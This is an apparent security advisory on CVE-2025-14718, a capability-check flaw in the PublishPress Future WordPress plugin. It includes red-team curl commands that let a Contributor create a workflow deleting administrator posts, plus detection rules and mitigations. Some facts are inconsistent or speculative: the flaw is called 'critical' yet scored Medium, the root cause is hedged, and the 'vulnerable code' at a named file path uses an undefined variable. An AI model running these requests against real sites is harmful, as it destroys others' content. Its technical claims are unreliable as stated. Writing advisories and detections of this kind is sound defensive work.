CVE-2025-14718

Executive Summary

CVE-2025-14718 is a critical authorization bypass vulnerability in the PublishPress Future (formerly Schedule Post Changes) WordPress plugin, affecting all versions up to and including 4.9.3. The flaw resides in the plugin’s failure to properly verify user capabilities before allowing actions on workflows. This enables authenticated attackers with at least Contributor-level access to create, update, delete, and publish malicious workflows. These workflows can automatically delete any post upon publication or update, including posts authored by administrators. The vulnerability has a CVSS score of 5.4 (Medium), but its impact is amplified by the potential for automated content destruction, leading to data loss and site defacement.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and is also available on GitHub. Users should verify the integrity of their plugin files by comparing checksums against the official repository. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors exploiting this in the wild.

CVSS Breakdown & Threat Level

• CVSS Score: 5.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: Low (workflow manipulation)
• Availability Impact: Low (post deletion)

Threat Level: Medium. While the CVSS score is moderate, the ability for low-privileged users to delete administrator posts makes this a high-severity risk for content integrity.

Deep Dive & Mechanics

The vulnerability is rooted in the plugin’s workflow management system. The plugin introduces a custom post type (CPT) for workflows, which are used to schedule post changes (e.g., publish, update, delete). The flaw is in the capability checks performed when users interact with these workflows.

Root Cause: The plugin uses current_user_can() with an incorrect or missing capability check. Specifically, it may check for edit_posts (which Contributors have) instead of a more restrictive capability like manage_options or a custom capability. This allows any user who can edit posts to also manipulate workflows.

Attack Flow:

1. An authenticated attacker with Contributor-level access logs into WordPress.
2. The attacker navigates to the PublishPress Future workflow editor.
3. Using crafted HTTP requests (e.g., via REST API or direct POST), the attacker creates a new workflow with an action set to "Delete Post" triggered on "Post Published" or "Post Updated".
4. The attacker then publishes a post (or updates an existing one) that matches the workflow’s conditions.
5. The workflow executes, deleting the target post, which could be an administrator’s post.

Technical Details:

• The plugin registers a custom REST API endpoint for workflow CRUD operations.
• The endpoint does not validate the user’s capability to manage workflows.
• The wp_ajax_ hooks for workflow actions also lack proper nonce and capability checks.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical fix based on common WordPress security practices.

Vulnerable Code (wp-content/plugins/publishpress-future/modules/workflows/class-workflows.php):

// Vulnerable: No capability check
add_action('wp_ajax_publishpress_future_save_workflow', 'save_workflow_callback');
function save_workflow_callback() {
    // Process workflow data
    $workflow_data = $_POST['workflow'];
    // Save to database
    update_post_meta($workflow_id, 'workflow_data', $workflow_data);
    wp_die();
}

Patched Code (Hypothetical):

// Patched: Added capability check
add_action('wp_ajax_publishpress_future_save_workflow', 'save_workflow_callback');
function save_workflow_callback() {
    // Verify nonce
    if (!wp_verify_nonce($_POST['_wpnonce'], 'publishpress_future_save_workflow')) {
        wp_die('Security check failed');
    }
    // Check capability
    if (!current_user_can('manage_options')) {
        wp_die('You do not have sufficient permissions');
    }
    // Process workflow data
    $workflow_data = $_POST['workflow'];
    // Save to database
    update_post_meta($workflow_id, 'workflow_data', $workflow_data);
    wp_die();
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress installation with PublishPress Future <= 4.9.3
• Authenticated user with Contributor role or higher
• Access to WordPress admin or REST API

Exploitation Steps:

1. Authenticate as a Contributor user.
2. Create a malicious workflow via REST API:

curl -X POST https://target.com/wp-json/publishpress-future/v1/workflows \
  -H "Content-Type: application/json" \
  -H "X-WP-Nonce: <nonce>" \
  -d '{
    "title": "Auto Delete Admin Posts",
    "trigger": "post_published",
    "action": "delete_post",
    "conditions": {
      "post_type": "post",
      "post_author": "admin"
    }
  }'

3. Publish a new post to trigger the workflow:

curl -X POST https://target.com/wp-json/wp/v2/posts \
  -H "Content-Type: application/json" \
  -H "X-WP-Nonce: <nonce>" \
  -d '{
    "title": "Trigger Post",
    "content": "This will delete admin posts",
    "status": "publish"
  }'

4. Verify deletion of the targeted admin post.

Blue Team

Detection & Prevention:

• Monitor for unusual workflow creation by low-privileged users.
• Implement Web Application Firewall (WAF) rules to block REST API requests to /publishpress-future/v1/workflows from non-admin users.
• Use a plugin like "User Role Editor" to restrict Contributor capabilities.
• Enable audit logging for post deletions and workflow changes.

Honeypot Setup:

• Create a decoy admin post with a unique title (e.g., "Honeypot - Do Not Delete").
• Monitor for deletion of this post to detect exploitation.

Indicators of Compromise (IOCs)

• File: wp-content/plugins/publishpress-future/modules/workflows/class-workflows.php (version <= 4.9.3)
• Database: Custom post type publishpress_workflow with suspicious actions (e.g., delete_post)
• Logs: REST API requests to /wp-json/publishpress-future/v1/workflows from non-admin IPs
• Network: POST requests to /wp-admin/admin-ajax.php with action publishpress_future_save_workflow
• User Activity: Contributor users creating workflows with delete actions

Detection Engineering

YARA Rule

rule CVE_2025_14718_PublishPress_Future {
    meta:
        description = "Detects vulnerable PublishPress Future plugin files"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-14718"
    strings:
        $vuln_func = "publishpress_future_save_workflow"
        $vuln_hook = "wp_ajax_publishpress_future_save_workflow"
        $no_cap = "current_user_can" nocase
    condition:
        $vuln_func and $vuln_hook and not $no_cap
}

Sigma Rule

title: CVE-2025-14718 - PublishPress Future Workflow Abuse
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2025-14718 via REST API
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/wp-json/publishpress-future/v1/workflows'
    condition: selection
falsepositives:
    - Legitimate admin workflow creation
level: high

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2025-14718 - PublishPress Future Workflow Creation Attempt";
    flow:to_server;
    content:"POST";
    http_method;
    content:"/wp-json/publishpress-future/v1/workflows";
    http_uri;
    sid:1000001;
    rev:1;
    metadata:author "Valters IT", cve "CVE-2025-14718";
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Restrict Contributor roles by removing edit_posts capability if possible.
3. Implement a WAF rule to block REST API requests to /publishpress-future/v1/workflows from non-admin users.
4. Audit existing workflows for any malicious entries.

Long-term Fix:

• Apply the vendor patch when available.
• Upgrade to a patched version (currently none).
• Consider replacing the plugin with an alternative that has proper capability checks.

Workaround:

• Use a code snippet to add capability checks:

add_filter('publishpress_future_workflow_capability', function($cap) {
    return 'manage_options';
});

Valters IT
Securing Digital Frontiers